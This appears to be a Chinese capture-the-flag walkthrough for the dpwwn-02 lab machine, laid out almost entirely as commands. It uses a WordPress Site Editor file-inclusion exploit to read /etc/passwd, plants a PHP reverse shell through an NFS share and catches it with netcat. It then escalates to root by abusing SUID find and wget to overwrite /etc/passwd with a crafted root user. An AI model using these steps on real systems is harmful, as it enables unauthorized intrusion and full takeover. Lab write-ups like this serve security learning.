标签:本地 script hack zip ike like can 显示 pattern
(Size: 1.4 GB)
namp -sV -p- 10.10.10.10

先访问80端口http服务,就一句话:
Welcome Mate : dpwwn-02 GOAL IS SIMPLE : OBTAIN: # shell like root@dpwwn-02:~#
先扫描一波目录看看,发现还有个wordpress

使用wpscan扫描看看
wpscan --url http://10.10.10.10/wordpress -e p

site-editor 1.1.1插件是存在漏洞的(wpscan没有提示漏洞,后来看人的wp,是有提示的)
searchsploit site editor 1.1.1

将exp复制到当前工作目录
searchsploit -m 44340


curl http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

成功读取/etc/passwd中的内容,接下来是如何进一步的能够上传反弹shell到靶机上,注意到之前nmap扫描的结果,在2049端口运行着网络文件共享(NFS)服务,通过showmount -e显示NFS服务器的输出清单
showmount -e 10.10.10.10

在本地建立一个问文件夹ctf,挂载到home/dpwwn02
mkdir ctf
mount -t nfs 10.10.10.10:/home/dpwwn02 ctf

将/usr/share/webshells/php/php-reverse-shell.php文件中的IP修改为Kali攻击机IP,并复制到ctf目录中

在kali中监听端口1234
nc -lvp 1234
在浏览器中访问
http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/home/dpwwn02/shell.php

查找具有特殊权限SUID的文件
find / -perm /u=s

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行
通过find命令给wget命令提供SUID权限
which wget
find /home -exec chmod u+s /usr/bin/wget \;
ls –la /usr/bin/wget

通过OpenSSL passwd生成一个新的用户hacker,密码为yoloyanng
openssl passwd -1 -salt hacker yoloyanng
得到:$1$hacker$WfwIT58gFY6HX.Q3RXYpf/,将其追加到靶机/etc/passwd文件中
(靶机)# cat /etc/passwd
(Kali)# vim passwd // (复制靶机/etc/passwd中的内容)
将hacker:$1$hacker$WfwIT58gFY6HX.Q3RXYpf/:0:0:/root:/bin/bash追加到passwd中
在Kali上启动一个python服务器
python -m SimpleHTTPServer 80
将Kali上的passwd文件下载到靶机etc目录下并覆盖原来的passwd文件
wget -O passwd http://10.10.10.128/passwd

然后切换到hacker用户即可,密码yoloyanng

标签:本地 script hack zip ike like can 显示 pattern
原文地址:https://www.cnblogs.com/CH42e/p/13284110.html